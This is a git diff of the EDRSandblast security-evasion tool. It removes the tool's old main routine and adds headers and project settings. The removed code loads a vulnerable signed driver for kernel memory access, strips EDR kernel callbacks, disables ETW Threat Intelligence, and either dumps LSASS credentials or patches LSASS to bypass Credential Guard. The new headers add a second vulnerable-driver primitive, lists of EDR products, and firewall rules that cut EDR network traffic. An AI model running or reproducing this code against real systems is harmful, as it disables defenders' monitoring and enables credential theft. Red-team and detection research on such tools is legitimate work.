_tcslen(argv[i])); - } - else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - _tcsncpy_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), argv[i], _tcslen(argv[i])); - } - else if (_tcsicmp(argv[i], TEXT("-o")) == 0 || _tcsicmp(argv[i], TEXT("--dump-output")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - _tcsncpy_s(outputPath, _countof(outputPath), argv[i], _tcslen(argv[i])); - } - else if (_tcsicmp(argv[i], TEXT("--unhook-method")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - unhook_method = _ttoi(argv[i]); - } - else if (_tcsicmp(argv[i], TEXT("--add-dll")) == 0) { - i++; - if (i > argc) { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - HANDLE hAdditionnalLib = LoadLibrary(argv[i]); - if (hAdditionnalLib == INVALID_HANDLE_VALUE) { - _tprintf(TEXT("Library %s could not have been loaded, exiting...\n"), argv[i]); - return EXIT_FAILURE; - } - } - else { - _tprintf(TEXT("%s"), usage); - return EXIT_FAILURE; - } - } - - // Command line option consistency checks. - if (startMode == none){ - _tprintf(TEXT("[!] You did not provide an action to perform: audit, dump, credguard or cmd\n")); - return EXIT_FAILURE; - } - if (startMode == cmd && !kernelMode) { - _tprintf(TEXT("'cmd' mode needs kernel-land unhooking to work, please enable --kernelmode\n")); - return EXIT_FAILURE; - } - if (!userMode && !kernelMode) { - _tprintf(TEXT("[!] You did not provide at least one option between --usermode and --kernelmode. Enabling --usermode by default...\n")); - userMode = TRUE; - } - if (startMode == credguard && !kernelMode) { - _tprintf(TEXT("[!] Credential Guard bypass might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); - } - if (startMode == dump && !kernelMode) { - _tprintf(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n")); - } - if (!userMode && kernelMode) { - _tprintf(TEXT("[!] If kernel mode bypass is enabled, it is recommended to enable usermode bypass as well (e.g. to unhook the NtLoadDriver API call)\n")); - } - - BOOL isSafeToExecutePayload = TRUE; - - if (userMode) { - _tprintf(TEXT("Loaded DLLs in current process:\n")); - hooks = searchHooks(NULL); - _tprintf(TEXT("\n\n")); - - if (startMode != audit) { - for (hook* ptr = hooks; ptr->disk_function != NULL; ptr++) { - printf("Unhooking %s using method %ld ...\n", ptr->functionName, unhook_method); - unhook(ptr, unhook_method); - } - } - } - - if (kernelMode) { - if (_tcslen(driverPath) == 0) { - TCHAR separator[] = TEXT("\\"); - _tcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath)); - _tcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator)); - _tcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName)); - } - DWORD driverAttrib = GetFileAttributes(driverPath); - if (driverAttrib == INVALID_FILE_ATTRIBUTES || (driverAttrib & FILE_ATTRIBUTE_DIRECTORY)) { - _tprintf(TEXT("[!] Required driver file not present at %s\nExiting...\n"), driverPath); - return EXIT_FAILURE; - } - - if (_tcslen(ntoskrnlOffsetCSVPath) == 0) { - TCHAR offsetCSVName[] = TEXT("\\NtoskrnlOffsets.csv"); - _tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); - _tcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); - } - - // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets. - _tprintf(TEXT("Loading Notify Routines' offsets from the CSV file\n")); - ntoskrnlOffsets = GetNtoskrnlVersionOffsets(ntoskrnlOffsetCSVPath); - if (ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine == 0x0 || ntoskrnlOffsets.st.pspLoadImageNotifyRoutine == 0x0) { - _tprintf(TEXT("[!] No known offsets for the version of ntoskrnl in use. The offsets must be computed and added to the offsets CSV file\n")); - return EXIT_FAILURE; - } - _tprintf(TEXT("\n\n")); - - // Install the vulnerable driver to have read / write in Kernel memory. - _tprintf(TEXT("Installing vulnerable MSI Afterburner driver...\n")); - status = InstallVulnerableDriver(driverPath); - if (status != TRUE) { - _tprintf(TEXT("[!] An error occurred while installing the vulnerable MSI Afterburner driver\n")); - _tprintf(TEXT("[*] Uninstalling the service and attempting the install again...\n")); - Sleep(20000); - status = UninstallVulnerableDriver(); - Sleep(2000); - status = status && InstallVulnerableDriver(driverPath); - Sleep(2000); - if (status != TRUE) { - _tprintf(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the MSI Afterburner driver left...\n")); - return EXIT_FAILURE; - } - } - _tprintf(TEXT("\n\n")); - - Sleep(5000); - - // Checks if any EDR callbacks are configured. If no EDR callbacks are found, then dump LSASS / exec cmd / patch CredGuard. Ohterwise, remove the EDR callbacks and start a new (unmonitored) process executing itself to dump LSASS. - _tprintf(TEXT("Checking if any EDR Kernel callbacks are configured...\n")); - checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); - if (!checkEDRDrivers) { - _tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n")); - return EXIT_FAILURE; - } - EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); - if (checkEDRDrivers->index) { - isSafeToExecutePayload = FALSE; - } - - ETWTIState = isETWThreatIntelProviderEnabled(verbose); - _tprintf(TEXT("[+] ETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); - _tprintf(TEXT("\n\n")); - if (ETWTIState) { - isSafeToExecutePayload = FALSE; - } - } - - if (startMode != audit) { - - if (isSafeToExecutePayload) { - _tprintf(TEXT("[+] Process is \"safe\" to launch our payload\n")); - - // Do the operation the tool was started for. - switch (startMode) { - - // Start a process executing cmd.exe. - case cmd: - _tprintf(TEXT("[+] Kernel callbacks have normally been removed, starting cmd.exe\n") - TEXT("WARNING: EDR kernel callbacks will be restored after exiting the cmd prompt (by typing exit)\n") - TEXT("WARNING: While unlikely, the longer the callbacks are removed, the higher the chance of being detected / causing a BSoD upon restore is!\n\n")); - // Find cmd.exe path. - TCHAR systemDirectory[MAX_PATH * 2] = { 0 }; - GetSystemDirectory(systemDirectory, _countof(systemDirectory)); - TCHAR cmdPath[MAX_PATH * 2] = { 0 }; - _tcscat_s(cmdPath, _countof(cmdPath), systemDirectory); - _tcscat_s(cmdPath, _countof(cmdPath), TEXT("\\cmd.exe")); - _tsystem(cmdPath); - break; - - // Dump the LSASS process in a new thread. - case dump: - if (kernelMode) { - _tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS (offset of _PS_PROTECTION exists). This will allow access to LSASS if RunAsPPL is enabled\n")); - if (ntoskrnlOffsets.st.ps_protection != 0x0) { - SetCurrentProcessAsProtected(verbose); - } - } - - if (_tcslen(outputPath) == 0) { - TCHAR outputName[] = TEXT("\\lsass"); - _tcsncat_s(outputPath, _countof(outputPath), currentFolderPath, _countof(currentFolderPath)); - _tcsncat_s(outputPath, _countof(outputPath), outputName, _countof(outputName)); - } - - _tprintf(TEXT("[+] Attempting to dump LSASS\n")); - HANDLE hThread = CreateThread(NULL, 0, dumpLSASSProcess, outputPath, 0, NULL); - if (hThread) { - WaitForSingleObject(hThread, INFINITE); - GetExitCodeThread(hThread, (PDWORD)&lpExitCode); - if (lpExitCode != 0) { - _tprintf(TEXT("[!] A fatal error occurred during the LSASS dump / execution of cmd.exe\n")); - lpExitCode = EXIT_FAILURE; - } - } - else { - _tprintf(TEXT("[!] An error occurred while attempting to start the new thread...\n")); - lpExitCode = EXIT_FAILURE; - } - break; - - - // Bypass Cred Guard (for new logins) by patching LSASS's wdigest module in memory. - case credguard: - if (kernelMode) { - _tprintf(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light) if PPL are supported by the OS(Offset of _PS_PROTECTION exists). This will allow lsass access is RunAsPPL is enabled\n")); - if (ntoskrnlOffsets.st.ps_protection != 0x0) { - SetCurrentProcessAsProtected(verbose); - } - } - if (_tcslen(wdigestOffsetCSVPath) == 0) { - TCHAR offsetCSVName[] = TEXT("\\WdigestOffsets.csv"); - _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath)); - _tcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName)); - } - - wdigestOffsets = GetWdigestVersionOffsets(wdigestOffsetCSVPath); - if (wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) { - _tprintf(TEXT("[!] No known offsets for the version of wdigest.dll in use, Windows Credential Guard will not be bypassed. The required offsets must be computed and added to the offsets CSV file.\n")); - lpExitCode = EXIT_FAILURE; - } - else { - _tprintf(TEXT("\n\n")); - if (disableCredGuardByPatchingLSASS()) { - _tprintf(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system.\n")); - } - else { - _tprintf(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed.\n")); - lpExitCode = EXIT_FAILURE; - } - } - break; - } - _tprintf(TEXT("\n\n")); - } - - // If the the payload is not safe to execute. - else { - _tprintf(TEXT("[+] Process is NOT \"safe\" to launch our payload, removing monitoring and starting another process...\n")); -#ifdef _DEBUG - assert(kernelMode); -#endif - /* - * 1/3 : Removing kernel-based monitoring. - */ - // Disable (temporarily) ETW Threat Intel functions by patching the ETW Threat Intel provider ProviderEnableInfo. - if (ETWTIState) { - DisableETWThreatIntelProvider(verbose); - } - // If kernel callbacks are monitoring processes, we remove them and start a new process. - if (checkEDRDrivers && checkEDRDrivers->index != 0) { - _tprintf(TEXT("EDR driver(s) found in Kernel callbacks, attempting to remove them...\n")); - // Removes EDR drivers callbacks for process / threads creation and image loading. - removedEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); - if (!removedEDRDrivers) { - _tprintf(TEXT("[!] Couldn't allocate memory to remove the drivers in Kernel callbacks\n")); - return EXIT_FAILURE; - } - _tprintf(TEXT("--- Removing EDR driver(s) in process creation Kernel callbacks...\n")); - RemoveEDRProcessNotifyCallbacks(removedEDRDrivers, verbose); - _tprintf(TEXT("--- Removing EDR driver(s) in threads creation Kernel callbacks...\n")); - RemoveEDRThreadNotifyCallbacks(removedEDRDrivers, verbose); - _tprintf(TEXT("--- Removing EDR driver(s) in image loading Kernel callbacks...\n")); - RemoveEDRImageNotifyCallbacks(removedEDRDrivers, verbose); - _tprintf(TEXT("\n\n")); - - // Checks that EDR drivers were indeed removed and if so, go on with the payload. - _tprintf(TEXT("Checking that all EDR driver(s) were successfully removed from Kernel callbacks...\n")); - checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); - if (!checkEDRDrivers) { - _tprintf(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks\n")); - free(removedEDRDrivers); - return EXIT_FAILURE; - } - EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); - _tprintf(TEXT("\n\n")); - if (checkEDRDrivers->index != 0) { - _tprintf(TEXT("[!] All EDR drivers could not be removed from Kernel callbacks, exiting...")); - lpExitCode = EXIT_FAILURE; - } - free(checkEDRDrivers); - } - - /* - * 2/3 : Starting "resursively" our process. - */ - // Re-executing the present binary, without any kernel callback nor ETWTI enabled. - _tprintf(TEXT("All EDR drivers were successfully removed from Kernel callbacks\nStarting a new unmonitored process ...\n")); - _tprintf(TEXT("\n\n")); - STARTUPINFO si; - PROCESS_INFORMATION pi; - memset(&si, 0, sizeof(si)); - si.cb = sizeof(si); - memset(&pi, 0, sizeof(pi)); - // Pass the same argument, only add the "--dont-unload-driver" flag as the vulnerable driver will still be needed by the parent process. - TCHAR* currentCommandLine = GetCommandLine(); - TCHAR* noRemoveFlag = _tcsdup(TEXT(" --dont-unload-driver")); - TCHAR* serviceNameOpt = _tcsdup(TEXT(" --service ")); - TCHAR* svcName = GetServiceName(); - - //TODO: fix length calculation. _tcslen returns the length that should be used, but error due to "no const". - const SIZE_T commandLineMaxLen = 32768; - TCHAR* commandLine = (TCHAR*) calloc(commandLineMaxLen, sizeof(TCHAR)); - _tcsncat_s(commandLine, commandLineMaxLen, currentCommandLine, _tcslen(currentCommandLine)); - _tcsncat_s(commandLine, commandLineMaxLen, noRemoveFlag, _tcslen(noRemoveFlag)); - _tcsncat_s(commandLine, commandLineMaxLen, serviceNameOpt, _tcslen(serviceNameOpt)); - _tcsncat_s(commandLine, commandLineMaxLen, svcName, _tcslen(svcName)); - - if (CreateProcess(argv[0], commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) { - WaitForSingleObject(pi.hProcess, INFINITE); - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - } - else { - _tprintf(TEXT("[!] An error occured while trying to create a new process\n")); - lpExitCode = EXIT_FAILURE; - } - free(commandLine); - - _tprintf(TEXT("\n\n")); - - /* - * 3/3 : Restoring state after execution. - */ - // By default, restore the removed EDR kernel callbacks. restoreCallbacks set to FALSE if the no restore CLI flag is set. - if (restoreCallbacks == TRUE && removedEDRDrivers && removedEDRDrivers->index != 0) { - // Restores the EDR drivers. - _tprintf(TEXT("Restoring EDR driver(s) Kernel callbacks...\n")); - RestoreEDRCallbacks(removedEDRDrivers); - _tprintf(TEXT("\n\n")); - - // Checks that the EDR drivers were indeed restored. - _tprintf(TEXT("Checking that all EDR driver(s) were successfully restored in Kernel callbacks...\n")); - checkEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS)); - if (!checkEDRDrivers) { - _tprintf(TEXT("[!] Couldn't allocate memory to check if the EDR drivers were successfully restored in Kernel callbacks\n")); - } - EnumAllEDRKernelCallbacks(checkEDRDrivers, verbose); - if (removedEDRDrivers && checkEDRDrivers && removedEDRDrivers->index == checkEDRDrivers->index) { - _tprintf(TEXT("[+] All EDR drivers were successfully restored in Kernel callbacks\n")); - } - else { - _tprintf(TEXT("[!] All EDR drivers could not be restored, continuing...\n")); - lpExitCode = EXIT_FAILURE; - } - free(checkEDRDrivers); - _tprintf(TEXT("\n\n")); - } - - // Renable the ETW Threat Intel provider. - // TODO : make this conditionnal, just as kernel callbacks restoring ? - if (ETWTIState) { - EnableETWThreatIntelProvider(verbose); - } - - if (removedEDRDrivers) { - free(removedEDRDrivers); - } - } - } - - if (kernelMode && removeVulnDriver) { - Sleep(5000); - _tprintf(TEXT("[*] Uninstalling vulnerable MSI Afterburner driver...\n")); - status = UninstallVulnerableDriver(); - if (status == FALSE) { - _tprintf(TEXT("[!] An error occured while attempting to uninstall the vulnerable driver\n")); - _tprintf(TEXT("[*] The service should be manually deleted: cmd /c sc delete %s\n"), GetServiceName()); - lpExitCode = EXIT_FAILURE; - } - else { - _tprintf(TEXT("[+] The vulnerable driver was successfully uninstalled!\n")); - } - } - - return lpExitCode; -} \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.vcxproj b/EDRSandblast/EDRSandblast.vcxproj index 96833f6..efbc2b8 100644 --- a/EDRSandblast/EDRSandblast.vcxproj +++ b/EDRSandblast/EDRSandblast.vcxproj @@ -24,32 +24,33 @@ {7e3e2ece-d1eb-43c6-8c83-b52b7571954b} EDRSandblast 10.0 + EDRSandblast_Core Application true - v142 + v143 Unicode x64 Application false - v142 + v143 true Unicode x64 - Application + StaticLibrary true v142 Unicode x64 - Application + StaticLibrary false v142 true @@ -58,6 +59,7 @@ + @@ -82,9 +84,14 @@ true + $(SolutionDir)EDRSandblast\Includes;$(IncludePath) false + false + true + AllRules.ruleset + $(SolutionDir)EDRSandblast\Includes;$(IncludePath) @@ -97,7 +104,7 @@ Console true - kernel32.lib;user32.lib;gdi32.lib;advapi32.lib;dbghelp.lib;version.lib + kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;advapi32.lib;dbghelp.lib;version.lib @@ -115,7 +122,7 @@ true true true - kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib + kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib @@ -130,7 +137,7 @@ Console true - kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib + kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;advapi32.lib;dbghelp.lib;version.lib @@ -143,52 +150,106 @@ true MultiThreaded Includes\;%(AdditionalIncludeDirectories) + true Console true true - true - kernel32.lib;user32.lib;gdi32.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib + false + kernel32.lib;user32.lib;gdi32.lib;Shlwapi.lib;Winhttp.lib;Pathcch.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;;advapi32.lib;dbghelp.lib;version.lib + - - - + + + + + + + + + + - - - + + + + + + + + - + + + + + + + + + + + + + + + - + + + + - + + + + + + + + + + - - + + + + + + + true + true + true + true + false + true + false + true + + \ No newline at end of file diff --git a/EDRSandblast/EDRSandblast.vcxproj.filters b/EDRSandblast/EDRSandblast.vcxproj.filters index 43a78e9..fca7bd5 100644 --- a/EDRSandblast/EDRSandblast.vcxproj.filters +++ b/EDRSandblast/EDRSandblast.vcxproj.filters @@ -15,12 +15,6 @@ - - Source Files - - - Source Files - Source Files @@ -33,9 +27,6 @@ Source Files - - Source Files - Source Files @@ -48,16 +39,82 @@ Source Files - + Source Files - + Source Files - + Source Files - + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + + Source Files + + Source Files @@ -71,15 +128,9 @@ Header Files - - Header Files - Header Files - - Header Files - Header Files @@ -113,5 +164,76 @@ Header Files + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + Header Files + + + + + Source Files + \ No newline at end of file diff --git a/EDRSandblast/Includes/DriverDBUtil.h b/EDRSandblast/Includes/DriverDBUtil.h new file mode 100644 index 0000000..b3241a4 --- /dev/null +++ b/EDRSandblast/Includes/DriverDBUtil.h @@ -0,0 +1,8 @@ +#pragma once + +#include + +HANDLE GetDriverHandle_DBUtil(); +VOID CloseDriverHandle_DBUtil(); +VOID WriteMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer); +VOID ReadMemoryPrimitive_DBUtil(SIZE_T Size, DWORD64 Address, PVOID Buffer); diff --git a/EDRSandblast/Includes/DriverOps.h b/EDRSandblast/Includes/DriverOps.h index 51f2f76..f8a89b8 100644 --- a/EDRSandblast/Includes/DriverOps.h +++ b/EDRSandblast/Includes/DriverOps.h @@ -9,16 +9,17 @@ #include #if !defined(PRINT_ERROR_AUTO) -#define PRINT_ERROR_AUTO(func) (_tprintf(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())) +#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError()) #endif #define SERVICE_NAME_LENGTH 8 #define MAX_UNINSTALL_ATTEMPTS 3 #define OP_SLEEP_TIME 1000 -TCHAR* GetServiceName(void); -void SetServiceName(TCHAR* newName, size_t szNewName); +TCHAR* GetDriverServiceName(void); +void SetDriverServiceName(_In_z_ TCHAR* newName); BOOL InstallVulnerableDriver(TCHAR* driverPath); -BOOL UninstallVulnerableDriver(void); \ No newline at end of file +BOOL UninstallVulnerableDriver(void); +BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName); diff --git a/EDRSandblast/Includes/DriverRTCore.h b/EDRSandblast/Includes/DriverRTCore.h new file mode 100644 index 0000000..1ec54c1 --- /dev/null +++ b/EDRSandblast/Includes/DriverRTCore.h @@ -0,0 +1,8 @@ +#pragma once + +#include + +HANDLE GetDriverHandle_RTCore(); +VOID CloseDriverHandle_RTCore(); +VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer); +VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer); diff --git a/EDRSandblast/Includes/FileUtils.h b/EDRSandblast/Includes/FileUtils.h new file mode 100644 index 0000000..fa4b2db --- /dev/null +++ b/EDRSandblast/Includes/FileUtils.h @@ -0,0 +1,13 @@ +#pragma once + +PBYTE ReadFullFileW(LPCWSTR fileName); + +BOOL FileExistsA(LPCSTR szPath); +BOOL FileExistsW(LPCWSTR szPath); +#ifdef UNICODE +#define FileExists FileExistsW +#else +#define FileExists FileExistsA +#endif // !UNICODE + +BOOL WriteFullFileW(LPCWSTR fileName, PBYTE fileContent, SIZE_T fileSize); \ No newline at end of file diff --git a/EDRSandblast/Includes/FileVersion.h b/EDRSandblast/Includes/FileVersion.h index 259b089..5af0666 100644 --- a/EDRSandblast/Includes/FileVersion.h +++ b/EDRSandblast/Includes/FileVersion.h @@ -2,8 +2,10 @@ #include +LPTSTR GetNtoskrnlPath(); + void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename); -void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion); +LPTSTR GetNtoskrnlVersion(); -void GetWdigestVersion(TCHAR* wdigestVersion); \ No newline at end of file +LPTSTR GetWdigestVersion(); \ No newline at end of file diff --git a/EDRSandblast/Includes/FirewallOps.h b/EDRSandblast/Includes/FirewallOps.h new file mode 100644 index 0000000..d3837ac --- /dev/null +++ b/EDRSandblast/Includes/FirewallOps.h @@ -0,0 +1,30 @@ +#pragma once + +#include +#pragma warning(disable : 4201) +#include +#pragma warning(default : 4201) + +#include +#include + +#include "StringUtils.h" + +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "oleaut32.lib") + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#ifndef FW_PROFILE_TYPE_ALL +#define FW_PROFILE_TYPE_ALL 0x7FFFFFFF +#endif + +#define FW_RULE_NAME_MAX_LENGTH 20 + +HRESULT IsFirewallEnabled(BOOL* firewallIsOn); + +HRESULT CreateFirewallRuleBlockBinary(TCHAR* binaryPath, NET_FW_RULE_DIRECTION direction, TCHAR* ruleName); + +HRESULT DeleteFirewallRule(TCHAR * ruleName); diff --git a/EDRSandblast/Includes/Firewalling.h b/EDRSandblast/Includes/Firewalling.h new file mode 100644 index 0000000..971ef1c --- /dev/null +++ b/EDRSandblast/Includes/Firewalling.h @@ -0,0 +1,37 @@ +/* + +--- Firewall rules to block EDR products from the network (inboud / outbound connections). + +*/ + +#pragma once + +#include +#include +#include +#include +#include + +#include "FirewallOps.h" +#include "IsEDRChecks.h" +#include "IsElevatedProcess.h" + +// Singly-linked list used to hold the paths of binaries executed by EDRs (processes / services). +typedef struct sFwBinaryRules_ { + TCHAR* binaryPath; + TCHAR* ruleInboundName; + TCHAR* ruleOutboundName; + struct sFwBinaryRules_* next; +} fwBinaryRules; + +typedef struct fwBlockingRulesList_ { + fwBinaryRules* first; +}fwBlockingRulesList; + +void FirewallPrintManualDeletion(fwBlockingRulesList* fwEntries); + +HRESULT FirewallBlockEDR(fwBlockingRulesList* fwEntries); + +HRESULT FirewallUnblockEDR(fwBlockingRulesList* fwEntries); + +void fwList_insertSorted(fwBlockingRulesList* fwEntries, fwBinaryRules* newFWEntry); \ No newline at end of file diff --git a/EDRSandblast/Includes/HttpClient.h b/EDRSandblast/Includes/HttpClient.h new file mode 100644 index 0000000..6de2e83 --- /dev/null +++ b/EDRSandblast/Includes/HttpClient.h @@ -0,0 +1,2 @@ +#pragma once +BOOL HttpsDownloadFullFile(LPCWSTR domain, LPCWSTR uri, PBYTE* output, SIZE_T* output_size); \ No newline at end of file diff --git a/EDRSandblast/Includes/IsEDRChecks.h b/EDRSandblast/Includes/IsEDRChecks.h new file mode 100644 index 0000000..b681fb4 --- /dev/null +++ b/EDRSandblast/Includes/IsEDRChecks.h @@ -0,0 +1,24 @@ +/* +* Primitives to check if a binary or driver belongs to an EDR product. +*/ + +#pragma once + +#include +#include + +#include "SignatureOps.h" + +TCHAR const* EDR_SIGNATURE_KEYWORDS[]; +TCHAR const* EDR_BINARIES[]; +TCHAR const* EDR_DRIVERS[]; + +BOOL isFileSignatureMatchingEDR(TCHAR* filePath); + +BOOL isBinaryNameMatchingEDR(TCHAR* binaryName); + +BOOL isBinaryPathMatchingEDR(TCHAR* binaryPath); + +BOOL isDriverNameMatchingEDR(TCHAR* driverName); + +BOOL isDriverPathMatchingEDR(TCHAR* driverPath); \ No newline at end of file diff --git a/EDRSandblast/Includes/IsElevatedProcess.h b/EDRSandblast/Includes/IsElevatedProcess.h new file mode 100644 index 0000000..526cb94 --- /dev/null +++ b/EDRSandblast/Includes/IsElevatedProcess.h @@ -0,0 +1,8 @@ +#pragma once + +#include "Windows.h" +#include "Tchar.h" + +#pragma comment(lib, "netapi32.lib") + +BOOL IsElevatedProcess(); \ No newline at end of file diff --git a/EDRSandblast/Includes/KernelCallbacks.h b/EDRSandblast/Includes/KernelCallbacks.h index 70349e9..4bbebc1 100644 --- a/EDRSandblast/Includes/KernelCallbacks.h +++ b/EDRSandblast/Includes/KernelCallbacks.h @@ -17,10 +17,24 @@ */ #define PSP_MAX_CALLBACKS 0x40 +//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc) +enum kernel_callback_type_e { + NOTIFY_ROUTINE_CB, + OBJECT_CALLBACK +}; struct KRNL_CALLBACK { - TCHAR const* driver; - DWORD64 callback_addr; - DWORD64 callback_struct; + enum kernel_callback_type_e type; + TCHAR const* driver_name; + union callback_addr_e { + struct notify_routine_t { + DWORD64 callback_struct_addr; + DWORD64 callback_struct; + enum NtoskrnlOffsetType type; //TODO : decorrelate indices in CSV from notify routine types + } notify_routine; + struct object_callback_t { + DWORD64 enable_addr; + } object_callback; + } addresses; DWORD64 callback_func; BOOL removed; }; @@ -30,11 +44,10 @@ struct FOUND_EDR_CALLBACKS { struct KRNL_CALLBACK EDR_CALLBACKS[256]; }; -TCHAR const* EDR_DRIVERS[]; + BOOL isDriverEDR(TCHAR* driver); - -void RestoreEDRCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); +void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); /* @@ -78,6 +91,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL */ -void EnumAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); +BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); -void RemoveAllEDRKernelCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose); \ No newline at end of file +void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); diff --git a/EDRSandblast/Includes/KernelMemoryPrimitives.h b/EDRSandblast/Includes/KernelMemoryPrimitives.h index 2c63593..88f238a 100644 --- a/EDRSandblast/Includes/KernelMemoryPrimitives.h +++ b/EDRSandblast/Includes/KernelMemoryPrimitives.h @@ -9,61 +9,49 @@ #include +#define RTCore 0 +#define DBUtil 1 +#define VULN_DRIVER RTCore -struct RTCORE64_MSR_READ { - DWORD Register; - DWORD ValueHigh; - DWORD ValueLow; -}; +#if VULN_DRIVER == RTCore +#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") +#define GetDriverHandle GetDriverHandle_RTCore +#define CloseDriverHandle CloseDriverHandle_RTCore +#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore +#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore +#elif VULN_DRIVER == DBUtil +#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") +#define GetDriverHandle GetDriverHandle_DBUtil +#define CloseDriverHandle CloseDriverHandle_DBUtil +#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil +#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil +#endif -struct RTCORE64_MEMORY_READ { - BYTE Pad0[8]; - DWORD64 Address; - BYTE Pad1[8]; - DWORD ReadSize; - DWORD Value; - BYTE Pad3[16]; -}; -struct 